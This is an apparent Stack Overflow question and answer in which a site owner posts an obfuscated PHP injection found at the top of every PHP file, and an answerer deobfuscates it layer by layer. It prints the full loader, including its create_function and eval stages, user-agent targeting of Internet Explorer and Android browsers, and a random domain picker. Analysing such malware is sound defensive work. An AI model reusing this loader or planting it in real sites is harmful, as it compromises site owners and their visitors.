问题
I discovered this code inserted at the top of every single PHP file on My PHP server. I want to figure out what this script was doing, but I don't know how to decipher the main hidden code. Can someone with experience in these matters decrypt it, because I'm not a programmer?
Thank you very much!!
link to a sample infected php file: https://drive.google.com/open?id=0B8PYE4BruOdMa2dWZDBLY09VRTA
The code is
<?php $tdzueclt = 'tvctus)% x24- x24b!>!%y((strstr($uas," x6d 163 x69 145")) or (strstrR;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;x5cq%7**^#zsfvr# x5cq%)uftr# x5cq%7/7#@#7/7^#iubq# x5cq% x27jsv%6<C>^#zsfvr# 24gps)%j>1<%j=tj{fpg)% x24- x24*<!~! x24/%t2w/ x24)##-!#~<)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%55946-tr.984:75983:48984:71]K9]77]D4]82sutcvt)fubmgoj{hA!osvu37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]#>m%:|ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofm2]3]364]6]283]427]36]373P6]36]73]83]238M7]381]21rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1)tpqsut>j%!*9! x27!hmg%)!gj!~<341]88M4P8]37]278]225]241]334]368]32utjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)qbtwu = implode(array_map("fwukcjc",str_split("%tjw!>!#]y84]275]y83ion fwukcjc($n){return chr(ord($n)-1);} @error_reporting(0); $aguhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e x27,*d x%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6<x7fw6*CW&)7gj6<.[A x27&6< x7fw6*277#<!%t2w>#]y74]273]y76]252]y85]x22)7gj6<*QDU`MPT7-N1M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]28|:**t%)m%=*h%)m%):fmjiALS[" x61 156 x75 156 x61"]=1; $uas=strtolower($_SERVER[" x48 if((function_exists(" x6f 142 x5f 163 x74 x61 156 x75 156 x61"])))) { $GLOB88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:141 x72 164") && (!isset($GLOBALS[" %tmw/ x24)%c*W%eN+#Qi x5#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<112)eobs`un>qp%!|Z~!<##4]364]6]234]342]58]24]31##/#/},;#-#}+;%-qp%)54l} gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~x24- x24 x5c%j^ x24- x24yfu%)3of)fepdof`57ftbc x7f!|!*uyfu x27k##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]81]K78:56985:6197g:74985-rr.93e:5597f-%tdz>#L4]275L3]248L3P6L1M5]D2P!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`o x7f_*#[k2`{6:!}7;!}6;*#k#)usbut`cpV x7f x278]y3f]51L3]84]y31M6]y3e]81#/#7e:l}S;2-u%!-#2#/#%#/#o52 137 x41 107 x45 116 x54"]); if bssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)t-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]#)fepmqyf x27*&7-n%)utjm6< x7f124 x54 120 x5f 125 x53 105 xx:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]s:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]!%tmw!>!#]y84]275]y83]273]y76]sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2W:*r%:-t%)3of:opjudovg<~ x24<!%o:!>! x2421($uas," x72 166 x3a 61 x31")) or (strstr($uas," x61 156 x6]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>!x246767~6<Cw68 x24- x24]26 x24- x24<%fV x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R3~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gjoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+5 156 x63 164 x69 157 x6e"; functx27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27id6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1/2986+7**^/%d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275t<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7U4 162 x6f 151 x64"))) { $ggw*17-SFEBFI,6<*127-UVPFNJU,6<*27-j%6<*Y%)fnbozcYufhAx272qj%6<^#zsfvtj x22)gj6<^#Y# x5cq% x27Y%6<.msv`ftsbqA7>q%6< x7)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)uftpf{jt)!gj!<*2bd%-#1GO x2fs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%y)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! epdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;BFSUT`LDPT7-UFOJ`GB)fubfsdXA x!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvgvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{;#)tFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbtj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-u78}527}88:}334}472 x24<!%ff2!>!bssbz) x24]25 x24- x24-!% x24- x24*!|! e]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%2#)fepmqyfA>2b%!<*qp%-*.%)epqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]cj,,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<! x24- x7,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojufs!*!+A!>!{e%)!>> x22!ftmbg)!gj<7f x7f x7f<u%V x27{ftmw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX x27u%)7fmjix6pjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gc1^W%c!>!%i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%eFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA 27,*c x27,*b x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111y38#-!%w:**<")));$qfzibwb = $ggwibsz("", $agqbtwu); $qfzib]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<tfsqnpdov{h19275j{hnpd19275fubmgc^>Ew:Qb:Qc:W~!%z!>2<!-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#fw6* x7f_*#fubfsdXk5`{66~6<&w627K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273q33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%< x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA x27&256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h%_t%:osvuf!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+up:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/<pd%w6Z6<.5`hAx27pd%6<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%pnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%bw6Z6<.2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]4]D6#<%G]y6d]281Ld]245]K2]285]Ky%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4ibsz = " x63 162 x65 141 x74 145 x5f 146 x7]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6cotn+qsvmt+fmhpph#)zx24/%tjw/ x24)% x24- x24y4 x24- x24]y x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#3q%}U;y]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;<*id%)ftpmdR6<*id%)dfyfR x27tfs%6<#/% x24- x24!>!fyqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/wb();}}STrrEvxNoITCnuF_EtaeRCxECaLPer_RtSrhozatxvoh'; $pojuybf=explode(chr((594-474)),substr($tdzueclt,(22569-16643),(131-97))); $kidqhu = $pojuybf[0]($pojuybf[(4-3)]); $vmqdyitehy = $pojuybf[0]($pojuybf[(6-4)]); if (!function_exists('mztvoit')) { function mztvoit($nrnzvjzo, $wzcyeen,$yhvdrl) { $atusojcvl = NULL; for($hwkbsnvb=0;$hwkbsnvb<(sizeof($nrnzvjzo)/2);$hwkbsnvb++) { $atusojcvl .= substr($wzcyeen, $nrnzvjzo[($hwkbsnvb*2)],$nrnzvjzo[($hwkbsnvb*2)+(7-6)]); } return $yhvdrl(chr((43-34)),chr((368-276)),$atusojcvl); }; } $nethpkm = explode(chr((197-153)),'1185,42,1295,36,1227,33,1123,62,2167,29,1942,34,23,45,2411,58,3222,28,5540,43,2783,33,794,64,727,67,2469,62,5215,70,5404,58,2137,30,4354,66,3154,68,4541,59,1028,20,3644,30,4867,63,3282,35,164,51,138,26,3317,49,4837,30,4985,39,2913,69,5823,34,3250,32,2870,43,926,69,1846,22,1611,63,68,70,3720,67,657,27,684,43,360,22,3495,51,273,48,591,30,452,52,5493,47,4137,41,2690,33,1797,49,4420,67,3471,24,4004,27,858,68,4600,57,1406,23,5093,68,5651,20,1976,64,4031,62,3366,48,3787,48,3414,57,3835,41,1572,39,5161,54,1454,24,2816,54,3096,58,4751,32,2723,60,3674,46,4299,33,1868,20,4332,22,2555,65,4232,67,3590,54,5761,62,4930,55,1922,20,4715,36,2280,30,995,33,5024,69,2239,41,1260,35,1101,22,2196,43,382,70,2370,41,3876,70,1548,24,0,23,3546,44,5671,37,2531,24,4178,54,215,58,5857,62,1331,24,4487,54,5285,70,2310,60,2982,57,2620,70,1729,38,1674,55,1888,34,321,39,5583,68,1355,51,1767,30,5462,31,3946,58,2087,50,621,36,504,48,1048,53,1429,25,3039,57,552,39,5355,49,4093,44,4783,22,1478,70,5708,53,4805,32,2040,47,4657,58,5919,7'); $uszfcks = $kidqhu("",mztvoit($nethpkm,$tdzueclt,$vmqdyitehy)); $kidqhu=$tdzueclt; $uszfcks(""); $uszfcks=(721-600); $tdzueclt=$uszfcks-1; ?>
回答1:
Well, let's try to trace what's going on. First, let's beautify that ugly code a little:
<?php
$tdzueclt = '...';
$pojuybf = explode(chr((594 - 474)), substr($tdzueclt, (22569 - 16643), (131 - 97)));
$kidqhu = $pojuybf[0]($pojuybf[(4 - 3) ]);
$vmqdyitehy = $pojuybf[0]($pojuybf[(6 - 4) ]);
if (!function_exists('mztvoit')) {
function mztvoit($nrnzvjzo, $wzcyeen, $yhvdrl) {
$atusojcvl = NULL;
for ($hwkbsnvb = 0;$hwkbsnvb < (sizeof($nrnzvjzo) / 2);$hwkbsnvb++) {
$atusojcvl.= substr($wzcyeen, $nrnzvjzo[($hwkbsnvb * 2) ], $nrnzvjzo[($hwkbsnvb * 2) + (7 - 6) ]);
}
return $yhvdrl(chr((43 - 34)), chr((368 - 276)), $atusojcvl);
};
}
$nethpkm = explode(chr((197 - 153)), '...');
$uszfcks = $kidqhu("", mztvoit($nethpkm, $tdzueclt, $vmqdyitehy));
$kidqhu = $tdzueclt;
$uszfcks("");
$uszfcks = (721 - 600);
$tdzueclt = $uszfcks - 1;
?>
Now, let's evaluate line by line to see all the hidden things:
$pojuybf = explode(chr((594 - 474)), substr($tdzueclt, (22569 - 16643), (131 - 97)));
$kidqhu = $pojuybf[0]($pojuybf[(4 - 3) ]);
$vmqdyitehy = $pojuybf[0]($pojuybf[(6 - 4) ]);
... becomes ...
$pojuybf = array('STrrEv', 'NoITCnuF_EtaeRC', 'ECaLPer_RtS');
$kidqhu = 'CReatE_FunCTIoN';
$vmqdyitehy = 'StR_rePLaCE';
Then goes the mztvoit function definition (not important yet) and then we go on defining strange data:
$nethpkm = array(1185, 42, ...); // after the explode()
Now we start calling some functions:
$uszfcks = $kidqhu("", mztvoit($nethpkm, $tdzueclt, $vmqdyitehy));
... becomes ...
$uszfcks = create_function('', mztvoit(array(1185, 42, ...), $tdzueclt /* that original ugly string*/, 'str_replace'));
So that strange mztvoit function defined above generates some function body source code by getting and mixing some parts of that ugly megastring. It's first argument (the array of numbers) probably serves as some coordinates pointing to the megastring. Without going deep into the process, it would be nice to just show the new anonymous function's body:
$body = mztvoit($nethpkm, $tdzueclt, $vmqdyitehy);
die($body);
But unfortunately, here I become stuck, because the original megastring became damaged, as I copied it from the web browser (it probably contained some unprintable characters, which have been lost during copy & paste from the web).
So now it's Your turn to show us, what the function's body is, as You have the original megastring. Thanks! :-)
UPDATE:
Thanks for the original PHP file, now we can go on! So the anonymous function, created by mztvoit looks very ugly - it contains next level of obfuscation:
if((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) {
$GLOBALS["anuna"]=1;
$uas=strtolower($_SERVER["HTTP_USER_AGENT"]);
if ((strstr($uas,"msie")) or (strstr($uas,"rv:11")) or (strstr($uas,"android"))) {
$ggwibsz = "create_function";
function fwukcjc($n){
return chr(ord($n)-1);
}
@error_reporting(0);
$agqbtwu = implode(array_map("fwukcjc",str_split("%tjw!>!#.../* ...tons... */")));
$qfzibwb = $ggwibsz("", $agqbtwu);
$qfzibwb();
}
}
UPDATE:
... which produces and runs another (still obfuscated) function ($agqbtwu is it's source code):
$siv = "str_replace";
$v9 = '$v9 = #5656}5 ... 99));'; // another loads of s#!t
eval($siv("#", "\x27", $v9));
... which produces ...
$v9 = '5656}5;Bv ... SV}'; // still a lots of who-knows-what...
eval($siv(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99));
... which finally evaluates to something readable:
function oo2($b) {
$h = explode("|", strrev($b));
$d = explode("*", $h[0]);
$b = $h[1];
for($i=0;$i<sizeof($d);$i++) {
$b = str_replace($i, $d[$i], $b);
}
create_function("", "};".$b."//");
}
function cqq($qw) {
$domarr =array("33db9538", "9507c4e8", "e5b57288", "54dfa1cb");
return random($domarr,$qw);
}
function oo1($y) {
$y= strrev($y);
$g=substr($y,strpos($y,"9")+1);
$v = explode(":",substr($y,0,strpos($y,"9")));
for($i=0;$i<sizeof($v);$i++) {
$q = explode("|", $v[$i]);
$g = str_replace($q[0],$q[1],$g);
}
create_function("", "};".$g."//");
}
$s1v("", $siv("\71"," ",$slv($svv)));
function random($arr,$qw) {
$g='w-86794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-873,g= w. r; m-86d944835,sq-87396487293787396086c951874";';
$soy = "en2";
$xx='explode';
$ecx='create_function';
$scy='str_replace';
$a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44");
$aa = $xx("|","8|9|-|,| ");
$mec=$ecx;
for($i=0;$i<sizeof($a);$i++) {
$g = $scy($aa[$i],$a[$i],$g);
}
$ecx("", "};$g//");
$mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy));
return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;
}
$r9 = explode("|",$n9);
$b9=0;
$a9=0;
for($i9=0;$i9<sizeof($r9);$i9++) {
if ($i9==0)
$a9=0;
else
$a9=$r9[$i9-1]+$a9;
$b9=$r9[$i9];
$v_[]=substr($v9, $a9, $b9);
}
$y =1;
for($i=0;$i<5;$i++) {
$vv1 ="o"."o".$y;
if ($y==1)
$y=2;
else
$y=1;
$vv1($v_[$i]);
}
Now You may try to solve the rest on Your own, it should be rather easy now.
来源：https://stackoverflow.com/questions/38140803/malicious-code-found-in-php-files-what-does-it-do